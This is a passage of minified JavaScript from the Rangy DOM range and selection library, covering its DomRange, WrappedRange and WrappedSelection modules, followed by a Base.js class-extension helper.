this.startOffset):d(this,this.endContainer,this.endOffset,this.endContainer,this.endOffset)},selectNodeContents:function(a){o(this);x(a,!0);d(this,a,0,a,l.getNodeLength(a))},selectNode:function(a){o(this);x(a,!1);z(a,L);var b=e(a),a=f(a);d(this,b.node,b.offset,a.node,a.offset)},extractContents:E(j,d),deleteContents:E(k,d),canSurroundContents:function(){v(this);A(this.startContainer);A(this.endContainer);var a=new p(this,!0),b=a._first&&c(a._first,this)||a._last&&c(a._last,this);a.detach();return!b},
detach:function(){g(this)},splitBoundaries:function(){v(this);var a=this.startContainer,b=this.startOffset,c=this.endContainer,g=this.endOffset,e=a===c;l.isCharacterDataNode(c)&&0<g&&g<c.length&&l.splitDataNode(c,g);l.isCharacterDataNode(a)&&0<b&&b<a.length&&(a=l.splitDataNode(a,b),e?(g-=b,c=a):c==a.parentNode&&g>=l.getNodeIndex(a)&&g++,b=0);d(this,a,b,c,g)},normalizeBoundaries:function(){v(this);var a=this.startContainer,b=this.startOffset,c=this.endContainer,g=this.endOffset,e=function(a){var b=
a.nextSibling;b&&b.nodeType==a.nodeType&&(c=a,g=a.length,a.appendData(b.data),b.parentNode.removeChild(b))},j=function(d){var e=d.previousSibling;if(e&&e.nodeType==d.nodeType){a=d;var j=d.length;b=e.length;d.insertData(0,e.data);e.parentNode.removeChild(e);a==c?(g+=b,c=a):c==d.parentNode&&(e=l.getNodeIndex(d),g==e?(c=d,g=j):g>e&&g--)}},k=!0;l.isCharacterDataNode(c)?c.length==g&&e(c):(0<g&&(k=c.childNodes[g-1])&&l.isCharacterDataNode(k)&&e(k),k=!this.collapsed);k?l.isCharacterDataNode(a)?0==b&&j(a):
b<a.childNodes.length&&(e=a.childNodes[b])&&l.isCharacterDataNode(e)&&j(e):(a=c,b=g);d(this,a,b,c,g)},collapseToPoint:function(a,b){o(this);x(a,!0);w(a,b);(a!==this.startContainer||b!==this.startOffset||a!==this.endContainer||b!==this.endOffset)&&d(this,a,b,a,b)}});F(a)}function N(a){a.collapsed=a.startContainer===a.endContainer&&a.startOffset===a.endOffset;a.commonAncestorContainer=a.collapsed?a.startContainer:l.getCommonAncestor(a.startContainer,a.endContainer)}function J(a,b,c,g,e){var j=a.startContainer!==
b||a.startOffset!==c,k=a.endContainer!==g||a.endOffset!==e;a.startContainer=b;a.startOffset=c;a.endContainer=g;a.endOffset=e;N(a);d(a,"boundarychange",{startMoved:j,endMoved:k})}function C(a){this.startContainer=a;this.startOffset=0;this.endContainer=a;this.endOffset=0;this._listeners={boundarychange:[],detach:[]};N(this)}b.requireModules(["DomUtil"]);var l=b.dom,u=l.DomPosition,B=b.DOMException;p.prototype={_current:null,_next:null,_first:null,_last:null,isSingleCharacterDataNode:!1,reset:function(){this._current=
null;this._next=this._first},hasNext:function(){return!!this._next},next:function(){var a=this._current=this._next;a&&(this._next=a!==this._last?a.nextSibling:null,l.isCharacterDataNode(a)&&this.clonePartiallySelectedTextNodes&&(a===this.ec&&(a=a.cloneNode(!0)).deleteData(this.eo,a.length-this.eo),this._current===this.sc&&(a=a.cloneNode(!0)).deleteData(0,this.so)));return a},remove:function(){var a=this._current,b,c;l.isCharacterDataNode(a)&&(a===this.sc||a===this.ec)?(b=a===this.sc?this.so:0,c=a===
this.ec?this.eo:a.length,b!=c&&a.deleteData(b,c-b)):a.parentNode&&a.parentNode.removeChild(a)},isPartiallySelectedSubtree:function(){return c(this._current,this.range)},getSubtreeIterator:function(){var b;if(this.isSingleCharacterDataNode)b=this.range.cloneRange(),b.collapse();else{b=new C(a(this.range));var c=this._current,d=c,g=0,e=c,j=l.getNodeLength(c);l.isAncestorOf(c,this.sc,!0)&&(d=this.sc,g=this.so);l.isAncestorOf(c,this.ec,!0)&&(e=this.ec,j=this.eo);J(b,d,g,e,j)}return new p(b,this.clonePartiallySelectedTextNodes)},
detach:function(a){a&&this.range.detach();this.range=this._current=this._next=this._first=this._last=this.sc=this.so=this.ec=this.eo=null}};r.prototype={BAD_BOUNDARYPOINTS_ERR:1,INVALID_NODE_TYPE_ERR:2};r.prototype.toString=function(){return this.message};m.prototype={_current:null,hasNext:function(){return!!this._next},next:function(){this._current=this._next;this._next=this.nodes[++this._position];return this._current},detach:function(){this._current=this._next=this.nodes=null}};var L=[1,3,4,5,
7,8,10],G=[2,9,11],P=[1,3,4,5,7,8,10,11],H=[1,3,4,5,7,8],M=l.getRootContainer,O=s([9,11]),aa=s([5,6,10,12]),$=s([6,10,12]),Z=document.createElement("style"),S=!1;try{Z.innerHTML="<b>x</b>",S=3==Z.firstChild.nodeType}catch(ca){}b.features.htmlParsingConforms=S;var T="startContainer,startOffset,endContainer,endOffset,collapsed,commonAncestorContainer".split(","),Q=0,U=1,ba=2,V=3,W=0,X=1,Y=2,R=3;D.prototype={attachListener:function(a,b){this._listeners[a].push(b)},compareBoundaryPoints:function(a,b){v(this);
y(this.startContainer,b.startContainer);var c=a==V||a==Q?"start":"end",d=a==U||a==Q?"start":"end";return l.comparePoints(this[c+"Container"],this[c+"Offset"],b[d+"Container"],b[d+"Offset"])},insertNode:function(a){v(this);z(a,P);A(this.startContainer);if(l.isAncestorOf(a,this.startContainer,!0))throw new B("HIERARCHY_REQUEST_ERR");this.setStartBefore(h(a,this.startContainer,this.startOffset))},cloneContents:function(){v(this);var b,c;if(this.collapsed)return a(this).createDocumentFragment();if(this.startContainer===
this.endContainer&&l.isCharacterDataNode(this.startContainer))return b=this.startContainer.cloneNode(!0),b.data=b.data.slice(this.startOffset,this.endOffset),c=a(this).createDocumentFragment(),c.appendChild(b),c;c=new p(this,!0);b=i(c);c.detach();return b},canSurroundContents:function(){v(this);A(this.startContainer);A(this.endContainer);var a=new p(this,!0),b=a._first&&c(a._first,this)||a._last&&c(a._last,this);a.detach();return!b},surroundContents:function(a){z(a,H);if(!this.canSurroundContents())throw new r("BAD_BOUNDARYPOINTS_ERR");
var b=this.extractContents();if(a.hasChildNodes())for(;a.lastChild;)a.removeChild(a.lastChild);h(a,this.startContainer,this.startOffset);a.appendChild(b);this.selectNode(a)},cloneRange:function(){v(this);for(var b=new C(a(this)),c=T.length,d;c--;)d=T[c],b[d]=this[d];return b},toString:function(){v(this);var a=this.startContainer;if(a===this.endContainer&&l.isCharacterDataNode(a))return 3==a.nodeType||4==a.nodeType?a.data.slice(this.startOffset,this.endOffset):"";var b=[],a=new p(this,!0);g(a,function(a){(3==
a.nodeType||4==a.nodeType)&&b.push(a.data)});a.detach();return b.join("")},compareNode:function(a){v(this);var b=a.parentNode,c=l.getNodeIndex(a);if(!b)throw new B("NOT_FOUND_ERR");a=this.comparePoint(b,c);b=this.comparePoint(b,c+1);return 0>a?0<b?Y:W:0<b?X:R},comparePoint:function(a,b){v(this);t(a,"HIERARCHY_REQUEST_ERR");y(a,this.startContainer);return 0>l.comparePoints(a,b,this.startContainer,this.startOffset)?-1:0<l.comparePoints(a,b,this.endContainer,this.endOffset)?1:0},createContextualFragment:S?
function(a){var b=this.startContainer,c=l.getDocument(b);if(!b)throw new B("INVALID_STATE_ERR");var d=null;1==b.nodeType?d=b:l.isCharacterDataNode(b)&&(d=l.parentElement(b));d=null===d||"HTML"==d.nodeName&&l.isHtmlNamespace(l.getDocument(d).documentElement)&&l.isHtmlNamespace(d)?c.createElement("body"):d.cloneNode(!1);d.innerHTML=a;return l.fragmentFromNodeChildren(d)}:function(b){o(this);var c=a(this).createElement("body");c.innerHTML=b;return l.fragmentFromNodeChildren(c)},toHtml:function(){v(this);
var b=a(this).createElement("div");b.appendChild(this.cloneContents());return b.innerHTML},intersectsNode:function(b,c){v(this);t(b,"NOT_FOUND_ERR");if(l.getDocument(b)!==a(this))return!1;var d=b.parentNode,g=l.getNodeIndex(b);t(d,"NOT_FOUND_ERR");var e=l.comparePoints(d,g,this.endContainer,this.endOffset),d=l.comparePoints(d,g+1,this.startContainer,this.startOffset);return c?0>=e&&0<=d:0>e&&0<d},isPointInRange:function(a,b){v(this);t(a,"HIERARCHY_REQUEST_ERR");y(a,this.startContainer);return 0<=
l.comparePoints(a,b,this.startContainer,this.startOffset)&&0>=l.comparePoints(a,b,this.endContainer,this.endOffset)},intersectsRange:function(b,c){v(this);if(a(b)!=a(this))throw new B("WRONG_DOCUMENT_ERR");var d=l.comparePoints(this.startContainer,this.startOffset,b.endContainer,b.endOffset),g=l.comparePoints(this.endContainer,this.endOffset,b.startContainer,b.startOffset);return c?0>=d&&0<=g:0>d&&0<g},intersection:function(a){if(this.intersectsRange(a)){var b=l.comparePoints(this.startContainer,
this.startOffset,a.startContainer,a.startOffset),c=l.comparePoints(this.endContainer,this.endOffset,a.endContainer,a.endOffset),d=this.cloneRange();-1==b&&d.setStart(a.startContainer,a.startOffset);1==c&&d.setEnd(a.endContainer,a.endOffset);return d}return null},union:function(a){if(this.intersectsRange(a,!0)){var b=this.cloneRange();-1==l.comparePoints(a.startContainer,a.startOffset,this.startContainer,this.startOffset)&&b.setStart(a.startContainer,a.startOffset);1==l.comparePoints(a.endContainer,
a.endOffset,this.endContainer,this.endOffset)&&b.setEnd(a.endContainer,a.endOffset);return b}throw new r("Ranges do not intersect");},containsNode:function(a,b){return b?this.intersectsNode(a,!1):this.compareNode(a)==R},containsNodeContents:function(a){return 0<=this.comparePoint(a,0)&&0>=this.comparePoint(a,l.getNodeLength(a))},containsRange:function(a){return this.intersection(a).equals(a)},containsNodeText:function(a){var b=this.cloneRange();b.selectNode(a);var c=b.getNodes([3]);return 0<c.length?
(b.setStart(c[0],0),a=c.pop(),b.setEnd(a,a.length),a=this.containsRange(b),b.detach(),a):this.containsNodeContents(a)},createNodeIterator:function(a,b){v(this);return new m(this,a,b)},getNodes:function(a,b){v(this);return q(this,a,b)},getDocument:function(){return a(this)},collapseBefore:function(a){o(this);this.setEndBefore(a);this.collapse(!1)},collapseAfter:function(a){o(this);this.setStartAfter(a);this.collapse(!0)},getName:function(){return"DomRange"},equals:function(a){return C.rangesEqual(this,
a)},inspect:function(){return n(this)}};I(C,J,function(a){o(a);a.startContainer=a.startOffset=a.endContainer=a.endOffset=null;a.collapsed=a.commonAncestorContainer=null;d(a,"detach",null);a._listeners=null});b.rangePrototype=D.prototype;C.rangeProperties=T;C.RangeIterator=p;C.copyComparisonConstants=F;C.createPrototypeRange=I;C.inspect=n;C.getRangeDocument=a;C.rangesEqual=function(a,b){return a.startContainer===b.startContainer&&a.startOffset===b.startOffset&&a.endContainer===b.endContainer&&a.endOffset===
b.endOffset};b.DomRange=C;b.RangeException=r});
rangy.createModule("WrappedRange",function(b){function c(a,b,c,d){var h=a.duplicate();h.collapse(c);var i=h.parentElement();e.isAncestorOf(b,i,!0)||(i=b);if(!i.canHaveHTML)return new f(i.parentNode,e.getNodeIndex(i));var b=e.getDocument(i).createElement("span"),r,m=c?"StartToStart":"StartToEnd";do i.insertBefore(b,b.previousSibling),h.moveToElementText(b);while(0<(r=h.compareEndPoints(m,a))&&b.previousSibling);m=b.nextSibling;if(-1==r&&m&&e.isCharacterDataNode(m)){h.setEndPoint(c?"EndToStart":"EndToEnd",
a);if(/[\r\n]/.test(m.data)){i=h.duplicate();c=i.text.replace(/\r\n/g,"\r").length;for(c=i.moveStart("character",c);-1==i.compareEndPoints("StartToEnd",i);)c++,i.moveStart("character",1)}else c=h.text.length;i=new f(m,c)}else m=(d||!c)&&b.previousSibling,i=(c=(d||c)&&b.nextSibling)&&e.isCharacterDataNode(c)?new f(c,0):m&&e.isCharacterDataNode(m)?new f(m,m.length):new f(i,e.getNodeIndex(b));b.parentNode.removeChild(b);return i}function a(a,b){var c,d,f=a.offset,h=e.getDocument(a.node),i=h.body.createTextRange(),
m=e.isCharacterDataNode(a.node);m?(c=a.node,d=c.parentNode):(c=a.node.childNodes,c=f<c.length?c[f]:null,d=a.node);h=h.createElement("span");h.innerHTML="&#feff;";c?d.insertBefore(h,c):d.appendChild(h);i.moveToElementText(h);i.collapse(!b);d.removeChild(h);if(m)i[b?"moveStart":"moveEnd"]("character",f);return i}b.requireModules(["DomUtil","DomRange"]);var d,e=b.dom,f=e.DomPosition,h=b.DomRange;if(b.features.implementsDomRange&&(!b.features.implementsTextRange||!b.config.preferTextRange))(function(){function a(b){for(var c=
j.length,d;c--;)d=j[c],b[d]=b.nativeRange[d]}var c,j=h.rangeProperties,f;d=function(b){if(!b)throw Error("Range must be specified");this.nativeRange=b;a(this)};h.createPrototypeRange(d,function(a,b,c,d,g){var e=a.endContainer!==d||a.endOffset!=g;if(a.startContainer!==b||a.startOffset!=c||e)a.setEnd(d,g),a.setStart(b,c)},function(a){a.nativeRange.detach();a.detached=!0;for(var b=j.length,c;b--;)c=j[b],a[c]=null});c=d.prototype;c.selectNode=function(b){this.nativeRange.selectNode(b);a(this)};c.deleteContents=
function(){this.nativeRange.deleteContents();a(this)};c.extractContents=function(){var b=this.nativeRange.extractContents();a(this);return b};c.cloneContents=function(){return this.nativeRange.cloneContents()};c.surroundContents=function(b){this.nativeRange.surroundContents(b);a(this)};c.collapse=function(b){this.nativeRange.collapse(b);a(this)};c.cloneRange=function(){return new d(this.nativeRange.cloneRange())};c.refresh=function(){a(this)};c.toString=function(){return this.nativeRange.toString()};
var i=document.createTextNode("test");e.getBody(document).appendChild(i);var p=document.createRange();p.setStart(i,0);p.setEnd(i,0);try{p.setStart(i,1),c.setStart=function(b,c){this.nativeRange.setStart(b,c);a(this)},c.setEnd=function(b,c){this.nativeRange.setEnd(b,c);a(this)},f=function(b){return function(c){this.nativeRange[b](c);a(this)}}}catch(r){c.setStart=function(b,c){try{this.nativeRange.setStart(b,c)}catch(d){this.nativeRange.setEnd(b,c),this.nativeRange.setStart(b,c)}a(this)},c.setEnd=function(b,
c){try{this.nativeRange.setEnd(b,c)}catch(d){this.nativeRange.setStart(b,c),this.nativeRange.setEnd(b,c)}a(this)},f=function(b,c){return function(d){try{this.nativeRange[b](d)}catch(e){this.nativeRange[c](d),this.nativeRange[b](d)}a(this)}}}c.setStartBefore=f("setStartBefore","setEndBefore");c.setStartAfter=f("setStartAfter","setEndAfter");c.setEndBefore=f("setEndBefore","setStartBefore");c.setEndAfter=f("setEndAfter","setStartAfter");p.selectNodeContents(i);c.selectNodeContents=p.startContainer==
i&&p.endContainer==i&&0==p.startOffset&&p.endOffset==i.length?function(b){this.nativeRange.selectNodeContents(b);a(this)}:function(a){this.setStart(a,0);this.setEnd(a,h.getEndOffset(a))};p.selectNodeContents(i);p.setEnd(i,3);f=document.createRange();f.selectNodeContents(i);f.setEnd(i,4);f.setStart(i,2);c.compareBoundaryPoints=-1==p.compareBoundaryPoints(p.START_TO_END,f)&1==p.compareBoundaryPoints(p.END_TO_START,f)?function(a,b){b=b.nativeRange||b;a==b.START_TO_END?a=b.END_TO_START:a==b.END_TO_START&&
(a=b.START_TO_END);return this.nativeRange.compareBoundaryPoints(a,b)}:function(a,b){return this.nativeRange.compareBoundaryPoints(a,b.nativeRange||b)};b.util.isHostMethod(p,"createContextualFragment")&&(c.createContextualFragment=function(a){return this.nativeRange.createContextualFragment(a)});e.getBody(document).removeChild(i);p.detach();f.detach()})(),b.createNativeRange=function(a){return(a||document).createRange()};else if(b.features.implementsTextRange){d=function(a){this.textRange=a;this.refresh()};
d.prototype=new h(document);d.prototype.refresh=function(){var a,b,d=this.textRange;a=d.parentElement();var f=d.duplicate();f.collapse(!0);b=f.parentElement();f=d.duplicate();f.collapse(!1);d=f.parentElement();b=b==d?b:e.getCommonAncestor(b,d);b=b==a?b:e.getCommonAncestor(a,b);0==this.textRange.compareEndPoints("StartToEnd",this.textRange)?b=a=c(this.textRange,b,!0,!0):(a=c(this.textRange,b,!0,!1),b=c(this.textRange,b,!1,!1));this.setStart(a.node,a.offset);this.setEnd(b.node,b.offset)};h.copyComparisonConstants(d);
var i=function(){return this}();"undefined"==typeof i.Range&&(i.Range=d);b.createNativeRange=function(a){return(a||document).body.createTextRange()}}b.features.implementsTextRange&&(d.rangeToTextRange=function(b){if(b.collapsed)return a(new f(b.startContainer,b.startOffset),!0);var c=a(new f(b.startContainer,b.startOffset),!0),d=a(new f(b.endContainer,b.endOffset),!1),b=e.getDocument(b.startContainer).body.createTextRange();b.setEndPoint("StartToStart",c);b.setEndPoint("EndToEnd",d);return b});d.prototype.getName=
function(){return"WrappedRange"};b.WrappedRange=d;b.createRange=function(a){return new d(b.createNativeRange(a||document))};b.createRangyRange=function(a){return new h(a||document)};b.createIframeRange=function(a){return b.createRange(e.getIframeDocument(a))};b.createIframeRangyRange=function(a){return b.createRangyRange(e.getIframeDocument(a))};b.addCreateMissingNativeApiListener(function(a){a=a.document;if(typeof a.createRange=="undefined")a.createRange=function(){return b.createRange(this)};a=
a=null})});
rangy.createModule("WrappedSelection",function(b,c){function a(a){return(a||window).getSelection()}function d(a){return(a||window).document.selection}function e(a,b,c){var d=c?"end":"start",c=c?"start":"end";a.anchorNode=b[d+"Container"];a.anchorOffset=b[d+"Offset"];a.focusNode=b[c+"Container"];a.focusOffset=b[c+"Offset"]}function f(a){a.anchorNode=a.focusNode=null;a.anchorOffset=a.focusOffset=0;a.rangeCount=0;a.isCollapsed=!0;a._ranges.length=0}function h(a){var c;a instanceof x?(c=a._selectionNativeRange,c||
(c=b.createNativeRange(m.getDocument(a.startContainer)),c.setEnd(a.endContainer,a.endOffset),c.setStart(a.startContainer,a.startOffset),a._selectionNativeRange=c,a.attachListener("detach",function(){this._selectionNativeRange=null}))):a instanceof o?c=a.nativeRange:b.features.implementsDomRange&&a instanceof m.getWindow(a.startContainer).Range&&(c=a);return c}function i(a){var b=a.getNodes(),c;a:if(!b.length||1!=b[0].nodeType)c=!1;else{c=1;for(var d=b.length;c<d;++c)if(!m.isAncestorOf(b[0],b[c])){c=
!1;break a}c=!0}if(!c)throw Error("getSingleElementFromRange: range "+a.inspect()+" did not consist of a single element");return b[0]}function g(a,b){var c=new o(b);a._ranges=[c];e(a,c,!1);a.rangeCount=1;a.isCollapsed=c.collapsed}function k(a){a._ranges.length=0;if("None"==a.docSelection.type)f(a);else{var c=a.docSelection.createRange();if(c&&"undefined"!=typeof c.text)g(a,c);else{a.rangeCount=c.length;for(var d,j=m.getDocument(c.item(0)),k=0;k<a.rangeCount;++k)d=b.createRange(j),d.selectNode(c.item(k)),
a._ranges.push(d);a.isCollapsed=1==a.rangeCount&&a._ranges[0].collapsed;e(a,a._ranges[a.rangeCount-1],!1)}}}function j(a,b){for(var c=a.docSelection.createRange(),d=i(b),e=m.getDocument(c.item(0)),e=m.getBody(e).createControlRange(),g=0,j=c.length;g<j;++g)e.add(c.item(g));try{e.add(d)}catch(f){throw Error("addRange(): Element within the specified Range could not be added to control selection (does it have layout?)");}e.select();k(a)}function q(a,b,c){this.nativeSelection=a;this.docSelection=b;this._ranges=
[];this.win=c;this.refresh()}function n(a,b){for(var c=m.getDocument(b[0].startContainer),c=m.getBody(c).createControlRange(),d=0,e;d<rangeCount;++d){e=i(b[d]);try{c.add(e)}catch(g){throw Error("setRanges(): Element within the one of the specified Ranges could not be added to control selection (does it have layout?)");}}c.select();k(a)}function p(a,b){if(a.anchorNode&&m.getDocument(a.anchorNode)!==m.getDocument(b))throw new z("WRONG_DOCUMENT_ERR");}function r(a){var b=[],c=new w(a.anchorNode,a.anchorOffset),
d=new w(a.focusNode,a.focusOffset),e="function"==typeof a.getName?a.getName():"Selection";if("undefined"!=typeof a.rangeCount)for(var g=0,j=a.rangeCount;g<j;++g)b[g]=x.inspect(a.getRangeAt(g));return"["+e+"(Ranges: "+b.join(", ")+")(anchor: "+c.inspect()+", focus: "+d.inspect()+"]"}b.requireModules(["DomUtil","DomRange","WrappedRange"]);b.config.checkSelectionRanges=!0;var m=b.dom,s=b.util,x=b.DomRange,o=b.WrappedRange,z=b.DOMException,w=m.DomPosition,y,A,t=b.util.isHostMethod(window,"getSelection"),
v=b.util.isHostObject(document,"selection"),D=v&&(!t||b.config.preferTextRange);D?(y=d,b.isSelectionValid=function(a){var a=(a||window).document,b=a.selection;return"None"!=b.type||m.getDocument(b.createRange().parentElement())==a}):t?(y=a,b.isSelectionValid=function(){return!0}):c.fail("Neither document.selection or window.getSelection() detected.");b.getNativeSelection=y;var t=y(),K=b.createNativeRange(document),F=m.getBody(document),E=s.areHostObjects(t,s.areHostProperties(t,["anchorOffset","focusOffset"]));
b.features.selectionHasAnchorAndFocus=E;var I=s.isHostMethod(t,"extend");b.features.selectionHasExtend=I;var N="number"==typeof t.rangeCount;b.features.selectionHasRangeCount=N;var J=!1,C=!0;s.areHostMethods(t,["addRange","getRangeAt","removeAllRanges"])&&"number"==typeof t.rangeCount&&b.features.implementsDomRange&&function(){var a=document.createElement("iframe");F.appendChild(a);var b=m.getIframeDocument(a);b.open();b.write("<html><head></head><body>12</body></html>");b.close();var c=m.getIframeWindow(a).getSelection(),
d=b.documentElement.lastChild.firstChild,b=b.createRange();b.setStart(d,1);b.collapse(true);c.addRange(b);C=c.rangeCount==1;c.removeAllRanges();var e=b.cloneRange();b.setStart(d,0);e.setEnd(d,2);c.addRange(b);c.addRange(e);J=c.rangeCount==2;b.detach();e.detach();F.removeChild(a)}();b.features.selectionSupportsMultipleRanges=J;b.features.collapsedNonEditableSelectionsSupported=C;var l=!1,u;F&&s.isHostMethod(F,"createControlRange")&&(u=F.createControlRange(),s.areHostProperties(u,["item","add"])&&(l=
!0));b.features.implementsControlRange=l;A=E?function(a){return a.anchorNode===a.focusNode&&a.anchorOffset===a.focusOffset}:function(a){return a.rangeCount?a.getRangeAt(a.rangeCount-1).collapsed:false};var B;s.isHostMethod(t,"getRangeAt")?B=function(a,b){try{return a.getRangeAt(b)}catch(c){return null}}:E&&(B=function(a){var c=m.getDocument(a.anchorNode),c=b.createRange(c);c.setStart(a.anchorNode,a.anchorOffset);c.setEnd(a.focusNode,a.focusOffset);if(c.collapsed!==this.isCollapsed){c.setStart(a.focusNode,
a.focusOffset);c.setEnd(a.anchorNode,a.anchorOffset)}return c});b.getSelection=function(a){var a=a||window,b=a._rangySelection,c=y(a),e=v?d(a):null;if(b){b.nativeSelection=c;b.docSelection=e;b.refresh(a)}else{b=new q(c,e,a);a._rangySelection=b}return b};b.getIframeSelection=function(a){return b.getSelection(m.getIframeWindow(a))};u=q.prototype;if(!D&&E&&s.areHostMethods(t,["removeAllRanges","addRange"])){u.removeAllRanges=function(){this.nativeSelection.removeAllRanges();f(this)};var L=function(a,
c){var d=x.getRangeDocument(c),d=b.createRange(d);d.collapseToPoint(c.endContainer,c.endOffset);a.nativeSelection.addRange(h(d));a.nativeSelection.extend(c.startContainer,c.startOffset);a.refresh()};u.addRange=N?function(a,c){if(l&&v&&this.docSelection.type=="Control")j(this,a);else if(c&&I)L(this,a);else{var d;if(J)d=this.rangeCount;else{this.removeAllRanges();d=0}this.nativeSelection.addRange(h(a));this.rangeCount=this.nativeSelection.rangeCount;if(this.rangeCount==d+1){if(b.config.checkSelectionRanges)(d=
B(this.nativeSelection,this.rangeCount-1))&&!x.rangesEqual(d,a)&&(a=new o(d));this._ranges[this.rangeCount-1]=a;e(this,a,H(this.nativeSelection));this.isCollapsed=A(this)}else this.refresh()}}:function(a,b){if(b&&I)L(this,a);else{this.nativeSelection.addRange(h(a));this.refresh()}};u.setRanges=function(a){if(l&&a.length>1)n(this,a);else{this.removeAllRanges();for(var b=0,c=a.length;b<c;++b)this.addRange(a[b])}}}else if(s.isHostMethod(t,"empty")&&s.isHostMethod(K,"select")&&l&&D)u.removeAllRanges=
function(){try{this.docSelection.empty();if(this.docSelection.type!="None"){var a;if(this.anchorNode)a=m.getDocument(this.anchorNode);else if(this.docSelection.type=="Control"){var b=this.docSelection.createRange();b.length&&(a=m.getDocument(b.item(0)).body.createTextRange())}if(a){a.body.createTextRange().select();this.docSelection.empty()}}}catch(c){}f(this)},u.addRange=function(a){if(this.docSelection.type=="Control")j(this,a);else{o.rangeToTextRange(a).select();this._ranges[0]=a;this.rangeCount=
1;this.isCollapsed=this._ranges[0].collapsed;e(this,a,false)}},u.setRanges=function(a){this.removeAllRanges();var b=a.length;b>1?n(this,a):b&&this.addRange(a[0])};else return c.fail("No means of selecting a Range or TextRange was found"),!1;u.getRangeAt=function(a){if(a<0||a>=this.rangeCount)throw new z("INDEX_SIZE_ERR");return this._ranges[a]};var G;if(D)G=function(a){var c;if(b.isSelectionValid(a.win))c=a.docSelection.createRange();else{c=m.getBody(a.win.document).createTextRange();c.collapse(true)}a.docSelection.type==
"Control"?k(a):c&&typeof c.text!="undefined"?g(a,c):f(a)};else if(s.isHostMethod(t,"getRangeAt")&&"number"==typeof t.rangeCount)G=function(a){if(l&&v&&a.docSelection.type=="Control")k(a);else{a._ranges.length=a.rangeCount=a.nativeSelection.rangeCount;if(a.rangeCount){for(var c=0,d=a.rangeCount;c<d;++c)a._ranges[c]=new b.WrappedRange(a.nativeSelection.getRangeAt(c));e(a,a._ranges[a.rangeCount-1],H(a.nativeSelection));a.isCollapsed=A(a)}else f(a)}};else if(E&&"boolean"==typeof t.isCollapsed&&"boolean"==
typeof K.collapsed&&b.features.implementsDomRange)G=function(a){var b;b=a.nativeSelection;if(b.anchorNode){b=B(b,0);a._ranges=[b];a.rangeCount=1;b=a.nativeSelection;a.anchorNode=b.anchorNode;a.anchorOffset=b.anchorOffset;a.focusNode=b.focusNode;a.focusOffset=b.focusOffset;a.isCollapsed=A(a)}else f(a)};else return c.fail("No means of obtaining a Range or TextRange from the user's selection was found"),!1;u.refresh=function(a){var b=a?this._ranges.slice(0):null;G(this);if(a){a=b.length;if(a!=this._ranges.length)return false;
for(;a--;)if(!x.rangesEqual(b[a],this._ranges[a]))return false;return true}};var P=function(a,b){var c=a.getAllRanges(),d=false;a.removeAllRanges();for(var e=0,g=c.length;e<g;++e)d||b!==c[e]?a.addRange(c[e]):d=true;a.rangeCount||f(a)};u.removeRange=l?function(a){if(this.docSelection.type=="Control"){for(var b=this.docSelection.createRange(),a=i(a),c=m.getDocument(b.item(0)),c=m.getBody(c).createControlRange(),d,e=false,g=0,j=b.length;g<j;++g){d=b.item(g);d!==a||e?c.add(b.item(g)):e=true}c.select();
k(this)}else P(this,a)}:function(a){P(this,a)};var H;!D&&E&&b.features.implementsDomRange?(H=function(a){var b=false;a.anchorNode&&(b=m.comparePoints(a.anchorNode,a.anchorOffset,a.focusNode,a.focusOffset)==1);return b},u.isBackwards=function(){return H(this)}):H=u.isBackwards=function(){return false};u.toString=function(){for(var a=[],b=0,c=this.rangeCount;b<c;++b)a[b]=""+this._ranges[b];return a.join("")};u.collapse=function(a,c){p(this,a);var d=b.createRange(m.getDocument(a));d.collapseToPoint(a,
c);this.removeAllRanges();this.addRange(d);this.isCollapsed=true};u.collapseToStart=function(){if(this.rangeCount){var a=this._ranges[0];this.collapse(a.startContainer,a.startOffset)}else throw new z("INVALID_STATE_ERR");};u.collapseToEnd=function(){if(this.rangeCount){var a=this._ranges[this.rangeCount-1];this.collapse(a.endContainer,a.endOffset)}else throw new z("INVALID_STATE_ERR");};u.selectAllChildren=function(a){p(this,a);var c=b.createRange(m.getDocument(a));c.selectNodeContents(a);this.removeAllRanges();
this.addRange(c)};u.deleteFromDocument=function(){if(l&&v&&this.docSelection.type=="Control"){for(var a=this.docSelection.createRange(),b;a.length;){b=a.item(0);a.remove(b);b.parentNode.removeChild(b)}this.refresh()}else if(this.rangeCount){a=this.getAllRanges();this.removeAllRanges();b=0;for(var c=a.length;b<c;++b)a[b].deleteContents();this.addRange(a[c-1])}};u.getAllRanges=function(){return this._ranges.slice(0)};u.setSingleRange=function(a){this.setRanges([a])};u.containsNode=function(a,b){for(var c=
0,d=this._ranges.length;c<d;++c)if(this._ranges[c].containsNode(a,b))return true;return false};u.toHtml=function(){var a="";if(this.rangeCount){for(var a=x.getRangeDocument(this._ranges[0]).createElement("div"),b=0,c=this._ranges.length;b<c;++b)a.appendChild(this._ranges[b].cloneContents());a=a.innerHTML}return a};u.getName=function(){return"WrappedSelection"};u.inspect=function(){return r(this)};u.detach=function(){this.win=this.anchorNode=this.focusNode=this.win._rangySelection=null};q.inspect=
r;b.Selection=q;b.selectionPrototype=u;b.addCreateMissingNativeApiListener(function(a){if(typeof a.getSelection=="undefined")a.getSelection=function(){return b.getSelection(this)};a=null})});var Base=function(){};
Base.extend=function(b,c){var a=Base.prototype.extend;Base._prototyping=!0;var d=new this;a.call(d,b);d.base=function(){};delete Base._prototyping;var e=d.constructor,f=d.constructor=function(){if(!Base._prototyping)if(this._constructing||this.constructor==f)this._constructing=!0,e.apply(this,arguments),delete this._constructing;else if(null!=arguments[0])return(arguments[0].extend||a).call(arguments[0],d)};f.ancestor=this;f.extend=this.extend;f.forEach=this.forEach;f.implement=this.implement;f.prototype=
d;f.toString=this.toString;f.valueOf=function(a){return"object"==a?f:e.valueOf()};a.call(f,c);"function"==typeof f.init&&f.init();return f};
Base.prototype={extend:function(b,c){if(1<arguments.length){var a=this[b];if(a&&"function"==typeof c&&(!a.valueOf||a.valueOf()!=c.valueOf())&&/\bbase\b/.test(c)){var d=c.valueOf(),c=function(){var b=this.base||Base.prototype.base;this.base=a;var c=d.apply(this,arguments);this.base=b;return c};c.valueOf=function(a){return"object"==a?c:d};c.toString=Base.toString}this[b]=c}else if(b){var e=Base.prototype.extend;!Base._prototyping&&"function"!=typeof this&&(e=this.extend||e);for(var f={toSource:null},
h=["constructor","toString","valueOf"],i=Base._prototyping?0:1;g=h[i++];)b[g]!=f[g]&&e.call(this,g,b[g]);for(var g in b)f[g]||e.call(this,g,b[g])}return this}};
